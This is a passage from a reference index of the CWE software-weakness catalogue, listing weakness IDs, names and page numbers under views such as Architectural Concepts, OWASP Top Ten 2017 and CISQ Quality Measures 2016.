  - ⓑ CWE-319: Cleartext Transmission of Sensitive Information (*p. 740*)
- ⓐ CWE-326: Inadequate Encryption Strength (*p. 756*)
- ⓐ CWE-327: Use of a Broken or Risky Cryptographic Algorithm (*p. 758*)
  - ⓑ CWE-916: Use of Password Hash With Insufficient Computational Effort (*p. 1688*)
- ⓐ CWE-330: Use of Insufficiently Random Values (*p. 772*)
  - ⓑ CWE-331: Insufficient Entropy (*p. 778*)
  - ⓑ CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (*p. 786*)
  - ⓑ CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (*p. 793*)
- ⓐ CWE-345: Insufficient Verification of Data Authenticity (*p. 805*)
  - ⓐ CWE-346: Origin Validation Error (*p. 808*)
  - ⓑ CWE-347: Improper Verification of Cryptographic Signature (*p. 811*)

- A CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
- B CWE-354: Improper Validation of Integrity Check Value (p.830)
- B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p.1701)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p.841)
- B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p.858)
- G CWE-400: Uncontrolled Resource Consumption (p.912)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- B CWE-920: Improper Restriction of Power Consumption (p.1696)
- G CWE-404: Improper Resource Shutdown or Release (p.927)
- V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
- B CWE-459: Incomplete Cleanup (p.1038)
- B CWE-763: Release of Invalid Pointer or Reference (p.1488)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
- G CWE-407: Inefficient Algorithmic Complexity (p.939)
- B CWE-1333: Inefficient Regular Expression Complexity (p.2053)
- G CWE-436: Interpretation Conflict (p.1000)
- B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (p.1009)
- G CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1285)
- B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1727)
- A CWE-384: Session Fixation (p.887)
- B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
- B CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
- B CWE-918: Server-Side Request Forgery (SSRF) (p.1694)
- G CWE-662: Improper Synchronization (p.1363)
- G CWE-667: Improper Locking (p.1375)
- G CWE-665: Improper Initialization (p.1368)
- B CWE-1188: Insecure Default Initialization of Resource (p.1828)
- B CWE-908: Use of Uninitialized Resource (p.1669)
- B CWE-909: Missing Initialization of Resource (p.1673)
- G CWE-668: Exposure of Resource to Wrong Sphere (p.1380)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- B CWE-426: Untrusted Search Path (p.972)
- B CWE-427: Uncontrolled Search Path Element (p.977)
- B CWE-428: Unquoted Search Path or Element (p.982)
- B CWE-552: Files or Directories Accessible to External Parties (p.1193)
- G CWE-669: Incorrect Resource Transfer Between Spheres (p.1383)
- B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
- B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
- B CWE-494: Download of Code Without Integrity Check (p.1119)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p.1209)
- B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
- G CWE-670: Always-Incorrect Control Flow Implementation (p.1384)
- B CWE-617: Reachable Assertion (p.1297)
- G CWE-672: Operation on a Resource after Expiration or Release (p.1386)
- V CWE-415: Double Free (p.954)
- V CWE-416: Use After Free (p.958)
- B CWE-613: Insufficient Session Expiration (p.1291)
- G CWE-674: Uncontrolled Recursion (p.1391)
- B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1521)
- P CWE-682: Incorrect Calculation (p.1403)
- B CWE-131: Incorrect Calculation of Buffer Size (p.340)
- B CWE-190: Integer Overflow or Wraparound (p.453)

- B CWE-191: Integer Underflow (Wrap or Wraparound) (p.460)
- B CWE-193: Off-by-one Error (p.466)
- B CWE-369: Divide By Zero (p.865)
- P CWE-697: Incorrect Comparison (p.1428)
- C CWE-704: Incorrect Type Conversion or Cast (p.1435)
- B CWE-681: Incorrect Conversion between Numeric Types (p.1400)
- B CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p.1654)
- C CWE-706: Use of Incorrectly-Resolved Name or Reference (p.1439)
- B CWE-178: Improper Handling of Case Sensitivity (p.427)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- B CWE-276: Incorrect Default Permissions (p.630)
- B CWE-281: Improper Preservation of Permissions (p.640)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)
- B CWE-252: Unchecked Return Value (p.575)
- B CWE-273: Improper Check for Dropped Privileges (p.626)
- B CWE-476: NULL Pointer Dereference (p.1070)
- C CWE-755: Improper Handling of Exceptional Conditions (p.1468)
- C CWE-834: Excessive Iteration (p.1634)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p.1636)
- C CWE-862: Missing Authorization (p.1657)
- B CWE-425: Direct Request ('Forced Browsing') (p.969)
- C CWE-863: Incorrect Authorization (p.1664)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
- C CWE-913: Improper Control of Dynamically-Managed Code Resources (p.1681)
- V CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (p.2030)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
- B CWE-502: Deserialization of Untrusted Data (p.1137)
- C CWE-922: Insecure Storage of Sensitive Information (p.1698)



## Graph View: CWE-1008: Architectural Concepts

- C** CWE-1009: Audit (*p.2217*)
  - B** CWE-117: Improper Output Neutralization for Logs (*p.279*)
  - B** CWE-223: Omission of Security-relevant Information (*p.533*)
  - B** CWE-224: Obscured Security-relevant Information by Alternate Name (*p.535*)
  - B** CWE-532: Insertion of Sensitive Information into Log File (*p.1171*)
  - B** CWE-778: Insufficient Logging (*p.1525*)
  - B** CWE-779: Logging of Excessive Data (*p.1529*)
- C** CWE-1010: Authenticate Actors (*p.2217*)
  - V** CWE-258: Empty Password in Configuration File (*p.589*)
  - V** CWE-259: Use of Hard-coded Password (*p.591*)
  - B** CWE-262: Not Using Password Aging (*p.600*)
  - B** CWE-263: Password Aging with Long Expiration (*p.602*)
  - G** CWE-287: Improper Authentication (*p.657*)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (*p.664*)
  - B** CWE-289: Authentication Bypass by Alternate Name (*p.666*)
  - B** CWE-290: Authentication Bypass by Spoofing (*p.668*)
  - V** CWE-291: Reliance on IP Address for Authentication (*p.671*)
  - V** CWE-293: Using Referer Field for Authentication (*p.673*)
  - B** CWE-294: Authentication Bypass by Capture-replay (*p.675*)
  - B** CWE-301: Reflection Attack in an Authentication Protocol (*p.695*)
  - B** CWE-302: Authentication Bypass by Assumed-Immutable Data (*p.697*)
  - B** CWE-303: Incorrect Implementation of Authentication Algorithm (*p.699*)
  - B** CWE-304: Missing Critical Step in Authentication (*p.700*)
  - B** CWE-305: Authentication Bypass by Primary Weakness (*p.702*)
  - B** CWE-306: Missing Authentication for Critical Function (*p.703*)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (*p.709*)
  - B** CWE-308: Use of Single-factor Authentication (*p.713*)
  - B** CWE-322: Key Exchange without Entity Authentication (*p.749*)
  - B** CWE-521: Weak Password Requirements (*p.1154*)
  - V** CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (*p.1252*)
  - B** CWE-603: Use of Client-Side Authentication (*p.1275*)
  - B** CWE-620: Unverified Password Change (*p.1301*)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (*p.1326*)
  - B** CWE-798: Use of Hard-coded Credentials (*p.1573*)
  - B** CWE-836: Use of Password Hash Instead of Password for Authentication (*p.1639*)
  - B** CWE-916: Use of Password Hash With Insufficient Computational Effort (*p.1688*)
- C** CWE-1011: Authorize Actors (*p.2218*)
  - G** CWE-114: Process Control (*p.268*)
  - B** CWE-15: External Control of System or Configuration Setting (*p.17*)
  - V** CWE-219: Storage of File with Sensitive Data Under Web Root (*p.529*)
  - V** CWE-220: Storage of File With Sensitive Data Under FTP Root (*p.530*)
  - B** CWE-266: Incorrect Privilege Assignment (*p.605*)
  - B** CWE-267: Privilege Defined With Unsafe Actions (*p.608*)
  - B** CWE-268: Privilege Chaining (*p.611*)
  - G** CWE-269: Improper Privilege Management (*p.613*)
  - B** CWE-270: Privilege Context Switching Error (*p.618*)
  - G** CWE-271: Privilege Dropping / Lowering Errors (*p.620*)
  - B** CWE-272: Least Privilege Violation (*p.623*)
  - B** CWE-273: Improper Check for Dropped Privileges (*p.626*)
  - B** CWE-274: Improper Handling of Insufficient Privileges (*p.629*)
  - B** CWE-276: Incorrect Default Permissions (*p.630*)
  - V** CWE-277: Insecure Inherited Permissions (*p.634*)

- V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
- B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p.638)
- B CWE-281: Improper Preservation of Permissions (p.640)
- C CWE-282: Improper Ownership Management (p.641)
- B CWE-283: Unverified Ownership (p.643)
- P| CWE-284: Improper Access Control (p.644)
- C CWE-285: Improper Authorization (p.649)
- C CWE-286: Incorrect User Management (p.656)
- C CWE-300: Channel Accessible by Non-Endpoint (p.692)
- B CWE-341: Predictable from Observable State (p.799)
- B CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
- B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p.925)
- B CWE-419: Unprotected Primary Channel (p.962)
- B CWE-420: Unprotected Alternate Channel (p.963)
- B CWE-425: Direct Request ('Forced Browsing') (p.969)
- B CWE-426: Untrusted Search Path (p.972)
- B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
- V CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere (p.1167)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
- V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p.1168)
- V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p.1169)
- B CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory (p.1178)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1192)
- B CWE-552: Files or Directories Accessible to External Parties (p.1193)
- V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p.1211)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
- C CWE-642: External Control of Critical State Data (p.1330)
- V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p.1343)
- B CWE-653: Improper Isolation or Compartmentalization (p.1353)
- B CWE-656: Reliance on Security Through Obscurity (p.1359)
- C CWE-668: Exposure of Resource to Wrong Sphere (p.1380)
- C CWE-669: Incorrect Resource Transfer Between Spheres (p.1383)
- C CWE-671: Lack of Administrator Control over Security (p.1385)
- C CWE-673: External Influence of Sphere Definition (p.1390)
- B CWE-708: Incorrect Ownership Assignment (p.1442)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
- B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
- V CWE-782: Exposed IOCTL with Insufficient Access Control (p.1534)
- V CWE-827: Improper Control of Document Type Definition (p.1616)
- C CWE-862: Missing Authorization (p.1657)
- C CWE-863: Incorrect Authorization (p.1664)
- B CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p.1697)
- C CWE-923: Improper Restriction of Communication Channel to Intended Endpoints (p.1700)
- B CWE-939: Improper Authorization in Handler for Custom URL Scheme (p.1709)
- V CWE-942: Permissive Cross-domain Policy with Untrusted Domains (p.1717)
- C CWE-1012: Cross Cutting (p.2220)
- B CWE-208: Observable Timing Discrepancy (p.508)
- B CWE-392: Missing Report of Error Condition (p.901)
- B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
- B CWE-544: Missing Standardized Error Handling Mechanism (p.1185)
- C CWE-602: Client-Side Enforcement of Server-Side Security (p.1271)
- P| CWE-703: Improper Check or Handling of Exceptional Conditions (p.1433)
- C CWE-754: Improper Check for Unusual or Exceptional Conditions (p.1460)



- V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p.1539)
- B CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
- C CWE-1013: Encrypt Data (p.2221)
  - B CWE-256: Plaintext Storage of a Password (p.583)
  - B CWE-257: Storing Passwords in a Recoverable Format (p.586)
  - B CWE-260: Password in Configuration File (p.596)
  - B CWE-261: Weak Encoding for Password (p.598)
  - G CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - V CWE-313: Cleartext Storage in a File or on Disk (p.731)
  - V CWE-314: Cleartext Storage in the Registry (p.733)
  - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p.734)
  - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p.736)
  - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p.737)
  - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p.739)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
  - V CWE-323: Reusing a Nonce, Key Pair in Encryption (p.750)
  - B CWE-324: Use of a Key Past its Expiration Date (p.752)
  - B CWE-325: Missing Cryptographic Step (p.754)
  - G CWE-326: Inadequate Encryption Strength (p.756)
  - G CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - B CWE-328: Use of Weak Hash (p.765)
  - G CWE-330: Use of Insufficiently Random Values (p.772)
  - B CWE-331: Insufficient Entropy (p.778)
  - V CWE-332: Insufficient Entropy in PRNG (p.781)
  - V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p.783)
  - B CWE-334: Small Space of Random Values (p.784)
  - B CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) (p.786)
  - V CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) (p.789)
  - V CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) (p.791)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p.793)
  - V CWE-339: Small Seed Space in PRNG (p.796)
  - B CWE-347: Improper Verification of Cryptographic Signature (p.811)
  - G CWE-522: Insufficiently Protected Credentials (p.1157)
  - B CWE-523: Unprotected Transport of Credentials (p.1161)
  - B CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p.1471)
  - V CWE-759: Use of a One-Way Hash without a Salt (p.1474)
  - V CWE-760: Use of a One-Way Hash with a Predictable Salt (p.1479)
  - V CWE-780: Use of RSA Algorithm without OAEP (p.1531)
  - G CWE-922: Insecure Storage of Sensitive Information (p.1698)
- C CWE-1014: Identify Actors (p.2222)
  - B CWE-295: Improper Certificate Validation (p.677)
  - B CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
  - V CWE-297: Improper Validation of Certificate with Host Mismatch (p.684)
  - V CWE-298: Improper Validation of Certificate Expiration (p.688)
  - B CWE-299: Improper Check for Certificate Revocation (p.690)
  - G CWE-345: Insufficient Verification of Data Authenticity (p.805)
  - G CWE-346: Origin Validation Error (p.808)
  - V CWE-370: Missing Check for Certificate Revocation after Initial Check (p.868)
  - G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.1005)
  - V CWE-599: Missing Validation of OpenSSL Certificate (p.1263)
  - B CWE-940: Improper Verification of Source of a Communication Channel (p.1712)

- B CWE-941: Incorrectly Specified Destination in a Communication Channel (p.1715)
- C CWE-1015: Limit Access (p.2223)
  - B CWE-201: Insertion of Sensitive Information Into Sent Data (p.493)
  - B CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (p.520)
  - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p.559)
  - B CWE-250: Execution with Unnecessary Privileges (p.568)
  - C CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1285)
  - B CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
  - B CWE-73: External Control of File Name or Path (p.128)
- C CWE-1016: Limit Exposure (p.2224)
  - B CWE-210: Self-generated Error Message Containing Sensitive Information (p.516)
  - B CWE-211: Externally-Generated Error Message Containing Sensitive Information (p.518)
  - B CWE-214: Invocation of Process Using Visible Sensitive Information (p.525)
  - V CWE-550: Server-generated Error Message Containing Sensitive Information (p.1191)
  - B CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
  - V CWE-830: Inclusion of Web Functionality from an Untrusted Source (p.1627)
- C CWE-1017: Lock Computer (p.2225)
  - B CWE-645: Overly Restrictive Account Lockout Mechanism (p.1340)
- C CWE-1018: Manage User Sessions (p.2225)
  - B CWE-384: Session Fixation (p.887)
  - B CWE-488: Exposure of Data Element to Wrong Session (p.1104)
  - V CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p.1233)
  - V CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p.2)
  - B CWE-613: Insufficient Session Expiration (p.1291)
  - B CWE-841: Improper Enforcement of Behavioral Workflow (p.1649)
- C CWE-1019: Validate Inputs (p.2226)
  - C CWE-138: Improper Neutralization of Special Elements (p.357)
  - V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p.377)
  - C CWE-20: Improper Input Validation (p.19)
  - B CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p.815)
  - B CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
  - V CWE-473: PHP External Variable Modification (p.1066)
  - B CWE-502: Deserialization of Untrusted Data (p.1137)
  - B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p.108)
  - B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
  - B CWE-641: Improper Restriction of Names for Files and Other Resources (p.1329)
  - B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
  - B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
  - C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.133)
  - C CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p.138)
  - B CWE-76: Improper Neutralization of Equivalent Special Elements (p.139)
  - C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
  - C CWE-790: Improper Filtering of Special Elements (p.1563)
  - B CWE-791: Incomplete Filtering of Special Elements (p.1564)
  - V CWE-792: Incomplete Filtering of One or More Instances of Special Elements (p.1565)
  - V CWE-793: Only Filtering One Instance of a Special Element (p.1567)
  - V CWE-794: Incomplete Filtering of Multiple Instances of Special Elements (p.1568)

- B CWE-795: Only Filtering Special Elements at a Specified Location (*p.1569*)
- V CWE-796: Only Filtering Special Elements Relative to a Marker (*p.1571*)
- V CWE-797: Only Filtering Special Elements at an Absolute Position (*p.1572*)
- B CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (*p.188*)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (*p.195*)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (*p.207*)
- B CWE-91: XML Injection (aka Blind XPath Injection) (*p.209*)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (*p.211*)
- B CWE-94: Improper Control of Generation of Code ('Code Injection') (*p.213*)
- G CWE-943: Improper Neutralization of Special Elements in Data Query Logic (*p.1720*)
- V CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (*p.220*)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (*p.225*)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (*p.228*)
- V CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (*p.229*)
- G CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (*p.235*)
- C CWE-1020: Verify Message Integrity (*p.2227*)
- B CWE-353: Missing Support for Integrity Check (*p.828*)
- B CWE-354: Improper Validation of Integrity Check Value (*p.830*)
- B CWE-390: Detection of Error Condition Without Action (*p.893*)
- B CWE-391: Unchecked Error Condition (*p.898*)
- B CWE-494: Download of Code Without Integrity Check (*p.1119*)
- B CWE-565: Reliance on Cookies without Validation and Integrity Checking (*p.1209*)
- B CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (*p.1346*)
- |P| CWE-707: Improper Neutralization (*p.1440*)
- G CWE-755: Improper Handling of Exceptional Conditions (*p.1468*)
- B CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (*p.1701*)

## Graph View: CWE-1026: Weaknesses in OWASP Top Ten (2017)

- C** CWE-1027: OWASP Top Ten 2017 Category A1 - Injection (p.2228)
  - G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
  - V** CWE-564: SQL Injection: Hibernate (p.1207)
  - B** CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p.1692)
  - G** CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p.1720)
- C** CWE-1028: OWASP Top Ten 2017 Category A2 - Broken Authentication (p.2229)
  - G** CWE-287: Improper Authentication (p.657)
  - B** CWE-256: Plaintext Storage of a Password (p.583)
  - B** CWE-308: Use of Single-factor Authentication (p.713)
  - B** CWE-384: Session Fixation (p.887)
  - G** CWE-522: Insufficiently Protected Credentials (p.1157)
  - B** CWE-523: Unprotected Transport of Credentials (p.1161)
  - B** CWE-613: Insufficient Session Expiration (p.1291)
  - B** CWE-620: Unverified Password Change (p.1301)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
- C** CWE-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure (p.2229)
  - V** CWE-220: Storage of File With Sensitive Data Under FTP Root (p.530)
  - B** CWE-295: Improper Certificate Validation (p.677)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B** CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - C** CWE-320: Key Management Errors (p.2112)
  - B** CWE-325: Missing Cryptographic Step (p.754)
  - G** CWE-326: Inadequate Encryption Strength (p.756)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - B** CWE-328: Use of Weak Hash (p.765)
  - B** CWE-359: Exposure of Private Personal Information to an Unauthorized Actor (p.836)
- C** CWE-1030: OWASP Top Ten 2017 Category A4 - XML External Entities (XXE) (p.2230)
  - B** CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
  - B** CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1521)
- C** CWE-1031: OWASP Top Ten 2017 Category A5 - Broken Access Control (p.2230)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - P** CWE-284: Improper Access Control (p.644)
  - G** CWE-285: Improper Authorization (p.649)
  - B** CWE-425: Direct Request ('Forced Browsing') (p.969)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
- C** CWE-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration (p.2231)
  - C** CWE-16: Configuration (p.2100)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - V** CWE-548: Exposure of Information Through Directory Listing (p.1189)
- C** CWE-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS) (p.2231)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)

- C** CWE-1034: OWASP Top Ten 2017 Category A8 - Insecure Deserialization (p.2232)
  - B** CWE-502: Deserialization of Untrusted Data (p.1137)
- C** CWE-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities (p.2232)
- C** CWE-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring (p.2232)
  - B** CWE-223: Omission of Security-relevant Information (p.533)
  - B** CWE-778: Insufficient Logging (p.1525)



## Graph View: CWE-1128: CISQ Quality Measures (2016)

- C** CWE-1129: CISQ Quality Measures (2016) - Reliability (p.2233)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - B** CWE-252: Unchecked Return Value (p.575)
  - B** CWE-396: Declaration of Catch for Generic Exception (p.908)
  - B** CWE-397: Declaration of Throws for Generic Exception (p.910)
  - V** CWE-456: Missing Initialization of a Variable (p.1029)
  - C** CWE-674: Uncontrolled Recursion (p.1391)
  - C** CWE-704: Incorrect Type Conversion or Cast (p.1435)
  - B** CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
  - B** CWE-788: Access of Memory Location After End of Buffer (p.1555)
  - V** CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor (p.1745)
  - B** CWE-1047: Modules with Circular Dependencies (p.1747)
  - B** CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1751)
  - B** CWE-1056: Invokable Control Element with Variadic Parameters (p.1756)
  - B** CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)
  - B** CWE-1062: Parent Class with References to Child Class (p.1763)
  - B** CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers (p.1766)
  - B** CWE-1066: Missing Serialization Control Element (p.1767)
  - B** CWE-1069: Empty Exception Block (p.1770)
  - B** CWE-1070: Serializable Data Element Containing non-Serializable Item Elements (p.1772)
  - V** CWE-1077: Floating Point Comparison with Incorrect Operator (p.1778)
  - B** CWE-1079: Parent Class without Virtual Destructor Method (p.1780)
  - B** CWE-1082: Class Instance Self Destruction Control Element (p.1782)
  - B** CWE-1083: Data Access from Outside Expected Data Manager Component (p.1783)
  - B** CWE-1087: Class with Virtual Method without a Virtual Destructor (p.1787)
  - B** CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1788)
  - B** CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element (p.1797)
  - V** CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1796)
  - V** CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element (p.1798)
- C** CWE-1130: CISQ Quality Measures (2016) - Maintainability (p.2234)
  - B** CWE-561: Dead Code (p.1201)
  - B** CWE-1041: Use of Redundant Code (p.1740)
  - B** CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range (p.1744)
  - B** CWE-1047: Modules with Circular Dependencies (p.1747)
  - B** CWE-1048: Invokable Control Element with Large Number of Outward Calls (p.1748)
  - B** CWE-1052: Excessive Use of Hard-Coded Literals in Initialization (p.1752)
  - B** CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer (p.1754)
  - B** CWE-1055: Multiple Inheritance from Concrete Classes (p.1755)
  - B** CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters (p.1765)
  - B** CWE-1074: Class with Excessively Deep Inheritance (p.1776)
  - B** CWE-1075: Unconditional Control Flow Transfer outside of Switch Block (p.1777)
  - B** CWE-1080: Source Code File with Excessive Number of Lines of Code (p.1781)
  - V** CWE-766: Critical Data Element Declared Public (p.1495)
  - B** CWE-1084: Invokable Control Element with Excessive File or Data Access Operations (p.1784)
  - B** CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code (p.1785)
  - B** CWE-1086: Class with Excessive Number of Child Classes (p.1786)
  - B** CWE-1090: Method Containing Access of a Member Element from Another Class (p.1791)
  - B** CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers (p.1793)

- B CWE-1095: Loop Condition Value Update within the Loop (p.1795)
- B CWE-1121: Excessive McCabe Cyclomatic Complexity (p.1818)
- C CWE-1131: CISQ Quality Measures (2016) - Security (p.2235)
- B CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
- C CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
- V CWE-129: Improper Validation of Array Index (p.327)
- B CWE-134: Use of Externally-Controlled Format String (p.349)
- B CWE-252: Unchecked Return Value (p.575)
- C CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
- B CWE-396: Declaration of Catch for Generic Exception (p.908)
- B CWE-397: Declaration of Throws for Generic Exception (p.910)
- B CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
